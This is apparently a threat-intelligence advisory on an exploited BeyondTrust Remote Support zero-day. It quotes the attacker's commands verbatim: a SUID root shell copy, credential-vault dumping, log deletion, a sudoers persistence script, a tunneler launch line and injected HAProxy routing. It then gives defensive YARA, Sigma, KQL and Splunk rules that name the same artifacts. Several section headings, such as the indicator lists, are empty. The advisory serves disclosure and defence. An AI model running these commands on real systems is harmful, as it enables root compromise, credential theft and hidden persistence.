CVE-2026-102764: How to Detect & Patch BeyondTrust 0-Day RCE

Executive Summary

On October 15, BeyondTrust and Google Threat Intelligence Group (Mandiant) disclosed CVE-2026-102764, a critical zero-day vulnerability impacting BeyondTrust Remote Support (formerly Bomgar) appliances up to version 26.2.3. The flaw permits unauthenticated remote adversaries to perform arbitrary file uploads directly to the appliance filesystem, resulting in complete host-level compromise, root privilege escalation, and unrestricted access to all stored and brokered administrative credentials.

During active incident response engagements in late August 2026, Mandiant identified evidence that ARMORY CASTLE—a high-capability cyber espionage threat actor with a suspected People's Republic of China (PRC) nexus, previously tracked as UNC5221—weaponized this flaw as a zero-day. ARMORY CASTLE demonstrated an intimate understanding of BeyondTrust internal architecture, systematically manipulating proprietary administrative command-line utilities, tampering with system configuration templates, abusing native Jump Item policies for internal network traversal, and hiding persistent WebSocket tunnels behind the appliance's local HAProxy reverse proxy.

Organizations utilizing self-hosted BeyondTrust Remote Support must immediately apply the BT26-05 security update, isolate exposed appliances, and initiate credential rotation protocols across all systems managed by the appliance.

Technical Vulnerability Analysis & Attack Chain

Root-Cause & Exploitation Mechanics

CVE-2026-102764 stems from insufficient path sanitation and lack of pre-authentication enforcement in file upload endpoints within BeyondTrust Remote Support web handlers. Unauthenticated network attackers transmit crafted HTTP POST requests to upload arbitrary script files into the underlying web directory structure.

1. Initial File Upload & Staging:

Telemetry indicates ARMORY CASTLE initiated POST requests to /app_84304470%2Ephp. Within eleven minutes of the initial upload, filesystem timestamps recorded the creation of the primary persistent webshell, dubbed SAWFLY, located within the Laravel public root at:

/%SITE_SERVICE_ACCOUNT%/ingredi/app/laravel/public/mangoapi.php

1. SAWFLY Webshell Architecture:

SAWFLY (mangoapi.php) is a heavily obfuscated, lightweight PHP webshell featuring bidirectional encrypted command-and-control (C2) communication:

• Scanner Evasion: The webshell parses incoming HTTP POST parameters for _c94mfe. If this parameter is missing, the script immediately issues http_response_code(404) and terminates, successfully evading automated web vulnerability crawlers and directory enumeration tools.
• Encryption & Execution: When _c94mfe is provided, SAWFLY decodes the payload using a custom Base32 routine, decrypts the stream using a 256-bit RC4 cipher with a hardcoded 32-byte key, and executes the code via @eval(). Output is encrypted with the same key, Base32-encoded, and returned to the client.

1. Privilege Escalation via SUID Binary Masquerading:

Because the web service runs under an unprivileged local site account, ARMORY CASTLE escalated to root by executing:

cp /bin/sh /usr/bin/dbus-authd
chown root:root /usr/bin/dbus-authd
chmod 4755 /usr/bin/dbus-authd

By applying the Set User ID (SUID) bit to a binary masquerading as a D-Bus daemon (dbus-authd), the adversary established an instantaneous, persistent root execution conduit.

1. Credential Harvesting via Proprietary Vault CLI:

With root access established, the threat actor targeted BeyondTrust’s native credential vault using the proprietary administrative utility /ns/sbin/bt-secrets:

/ns/sbin/bt-secrets get -p %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get vault

These commands extracted passwords, API keys, and target endpoint credentials managed by the appliance. Immediately following extraction, the actor purged the activity logs:

/usr/sbin/sh -c 'rm -f /home/bomgar/log/bt-secrets.log /home/bomgar/log/bt-secrets.log.* 2>/dev/null;'

1. Reboot-Persistent Sudoers Tampering:

To ensure administrative access survived reboots and automated system resets, the actor created an automatic startup script at /home/bomgar/sbin/post_boot.d/zz-root-persist:

#!/bin/bash
grep -qF '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' '/ns/config/sudoers.template' || echo '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' >> '/ns/config/sudoers.template'
'/ns/sbin/bt-sysconfig' --no-restart misc

This script modifies the active sudoers template and invokes bt-sysconfig to rebuild /etc/sudoers, permanently granting passwordless root execution to the compromised service profile.

1. Inbound Tunneling via BARECLAW & HAProxy Hijacking:

To establish a persistent interactive proxy into the victim’s internal infrastructure, ARMORY CASTLE deployed BARECLAW (ingredi_ws), a custom C-based SOCKS5 proxy tunneler embedding CivetWeb and OpenSSL.

The binary was spawned via:

/tmp/ingredi_ws --listen 19800 --token %REDACTED% --obfs -q --ws-path /uidchanarge

To expose BARECLAW through the appliance’s single public HTTPS port without opening new firewall ports or triggering external port scan alerts, the actor altered the appliance reverse proxy configuration at /ns/config/haproxy.conf:

# Attacker-injected ACL rule
acl wswsws path /uidchanarge
use_backend webskd3 if wswsws

# Attacker-injected local backend routing
backend webskd3
mode http
server websocks5srv 127.0.0.1:19800
option http-keep-alive
timeout server 28s
timeout tunnel 5h

Whenever an inbound request arrives matching URI path /uidchanarge, HAProxy routes the encrypted WebSocket stream internally to 127.0.0.1:19800, masking the SOCKS5 proxy entirely behind legitimate BeyondTrust web traffic.

1. Lateral Movement & Administrative Session Abuse:

ARMORY CASTLE pivoted into the BeyondTrust management web interface using stolen administrative credentials, elevated their own account's Jump Item roles from No Access to Administrator, and launched remote support sessions against internal domain controllers and workstations to exfiltrate enterprise software inventories and network topology documentation.

MITRE ATT&CK Tactics, Techniques & Procedures (TTPs)

Threat Actor Profile & Campaign Attribution

Mandiant assigns this activity to ARMORY CASTLE (formerly tracked as UNC5221), an advanced persistent threat group operating in support of PRC espionage objectives.

ARMORY CASTLE specializes in zero-day exploitation of perimeter edge infrastructure and secure access gateways. The group was previously responsible for widespread zero-day campaigns targeting Ivanti Connect Secure appliances (CVE-2023-46805 and CVE-2024-21887) in late 2023 and early 2024. The operational tradecraft observed in this intrusion—deploying memory-resident web shells with 404-evasion routines, embedding SOCKS5 proxies into native reverse proxy configurations, and systematically altering appliance configuration templates—directly mirrors historical ARMORY CASTLE intrusion patterns.

Detection & SOC Mitigation Playbook

1. Concrete Remediation & Workarounds

Administrators of self-hosted BeyondTrust Remote Support appliances must execute the following remediation runbook immediately:

Step 1: Apply BeyondTrust BT26-05 Emergency Patch

• SaaS Deployments: BeyondTrust patched all SaaS instances on October 9, 2026. No appliance-level action is required; proceed directly to Step 4 (Credential Rotation).
• Self-Hosted (v24.3.1 or later): Log into the /appliance management console and apply the BT26-05-RS patch package.
• Self-Hosted (prior to v24.3.1): Upgrade to supported version 24.3.1+ and immediately apply patch BT26-05. Note that upgrading does not clean up previous compromises.

Step 2: Inspect HAProxy Configuration for Rogue Redirections Audit the reverse proxy configuration file for the presence of unauthorized ACLs or internal WebSocket forwards:

# Search for unauthorized ACLs or proxy redirects in HAProxy
grep -E 'wswsws|webskd3|uidchanarge|19800' /ns/config/haproxy.conf

If entries matching /uidchanarge or local port forwards to 127.0.0.1:19800 exist, treat the appliance as fully compromised.

Step 3: Audit SUID Binaries and Post-Boot Directories Inspect system binaries and startup directories for ARMORY CASTLE backdoor artifacts:

# Check for unauthorized SUID shell copies
ls -la /usr/bin/dbus-authd
find /usr/bin /usr/sbin -perm -4000 -user root -ls

# Check for unauthorized startup persistence scripts
ls -la /home/bomgar/sbin/post_boot.d/

# Verify integrity of sudoers template
cat /ns/config/sudoers.template

Step 4: Execute Credential Rotation in Strict Dependency Order Because ARMORY CASTLE dumped credential vaults using bt-secrets, execute rotation only after applying BT26-05 or redeploying the appliance:

1. /appliance management administrator passwords.
2. /login administrative and local user accounts.
3. API client secrets and SAML signing certificates.
4. Active Directory service accounts and LDAP bind credentials.
5. All credentials stored in the Remote Support Vault or accessed via Jump Sessions during the compromise window.

2. Network & Perimeter Defenses

• Management Interface Isolation: Restrict inbound access to /appliance and /login portals to internal administrative subnets or VPN connections. Only customer client portal and representative console endpoints should be internet-accessible.
• Upstream WAF Full URI Inspection: Position a web application firewall (WAF) or external reverse proxy in front of the appliance to log full URI paths and block anomalous requests to .php paths outside the legitimate application suite.
• Default-Deny Egress Filtering: Configure perimeter firewalls to block all outbound connections initiated by the BeyondTrust appliance except to official BeyondTrust licensing/update endpoints and internal SIEM servers.

3. Endpoint Detection & Hunting Query

Mandiant YARA Rules: SAWFLY & BARECLAW Detection

rule G_Hunting_Webshell_SAWFLY_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects SAWFLY PHP webshell used in BeyondTrust exploitation"
    strings:
        $b32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" ascii wide
        $rc4 = "range(0,255)" ascii wide
        $pack = "pack('H*'," ascii wide
        $eval = "@eval(" ascii wide
        $code404 = "http_response_code(404)" ascii wide
    condition:
        filesize < 20KB and all of them
}

rule G_Hunting_Backdoor_BARECLAW_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects BARECLAW WebSocket SOCKS5 tunneler binary"
    strings:
        $s1 = "[%s ws_socks5d] " ascii wide
        $s2 = "--obfs requires --token" ascii wide
        $s3 = "mux: %s (frame[%lu]: %s)" ascii wide
        $s4 = "cannot create stream pump/writer thread (stream %d)" ascii wide
        $s5 = "reject: bad or missing token from %s" ascii wide
        $s6 = "listening on %s path=%s (token=%s obfs=%s max_tunnels=%d threads=%d)" ascii wide
        $s7 = "--ws-path must start with '/'" ascii wide
        $b_xorshift = { 48 c1 e0 17 48 31 c1 48 89 f0 48 c1 e8 1a 48 31 f0 48 31 c8 48 c1 e9 11 48 31 c8 }
    condition:
        uint32(0) == 0x464c457f and (5 of ($s*)) or ($b_xorshift and (3 of ($s*)))
}

Sigma Rule: BeyondTrust SUID Backdoor & Post-Boot Tampering

title: BeyondTrust Remote Support SUID Shell Creation or Post-Boot Tampering
id: a812ef94-91b3-4639-b9d2-51bc9e44081c
status: experimental
description: Detects the creation of SUID shell binaries (/usr/bin/dbus-authd) or modifications to post_boot scripts on BeyondTrust appliances.
author: CyberNewsAI Threat Research Team
references:
  - https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust/?ref=cybernewsai.com
logsource:
  category: process_creation
  product: linux
detection:
  selection_suid:
    CommandLine|contains:
      - 'chmod 4755 /usr/bin/dbus-authd'
      - 'chmod u+s /usr/bin/dbus-authd'
      - 'cp /bin/sh /usr/bin/dbus-authd'
  selection_post_boot:
    CommandLine|contains:
      - '/home/bomgar/sbin/post_boot.d/'
      - 'zz-root-persist'
      - 'sudoers.template'
  selection_secrets:
    CommandLine|contains:
      - '/ns/sbin/bt-secrets get'
  condition: selection_suid or selection_post_boot or selection_secrets
falsepositives:
  - Legitimate automated system updates issued by BeyondTrust
level: critical
tags:
  - attack.privilege_escalation
  - attack.t1548.001
  - attack.persistence
  - attack.t1546.004

Microsoft Sentinel / Defender KQL Hunting Query

// Hunt for BeyondTrust post-exploitation artifacts, bt-secrets dumping, and HAProxy tampering
DeviceProcessEvents
| where Timestamp >= ago(30d)
| where (ProcessCommandLine has_any ("/usr/bin/dbus-authd", "bt-secrets get", "zz-root-persist", "mangoapi.php", "ingredi_ws"))
    or (ProcessCommandLine has_all ("haproxy.conf", "uidchanarge"))
    or (InitiatingProcessCommandLine has "bt-secrets" and ProcessCommandLine has_any ("rm -f", "bt-secrets.log"))
| project Timestamp, DeviceName, AccountName, InitiatingProcessCommandLine, ProcessCommandLine, FolderPath
| sort by Timestamp desc

Splunk SPL Hunting Query

index=* (sourcetype=syslog OR sourcetype=auditd OR sourcetype=bash_history)
| eval cmd=lower(command)
| where like(cmd, "%dbus-authd%") 
     OR like(cmd, "%bt-secrets get%") 
     OR like(cmd, "%zz-root-persist%") 
     OR like(cmd, "%uidchanarge%") 
     OR like(cmd, "%mangoapi.php%") 
     OR like(cmd, "%ingredi_ws%")
| table _time, host, user, process, command

The following Indicators of Compromise represent authenticated indicators recovered by Google Threat Intelligence Group (Mandiant).

Malware Hashes (SHA-256)

Appliance Filesystem & Configuration Artifacts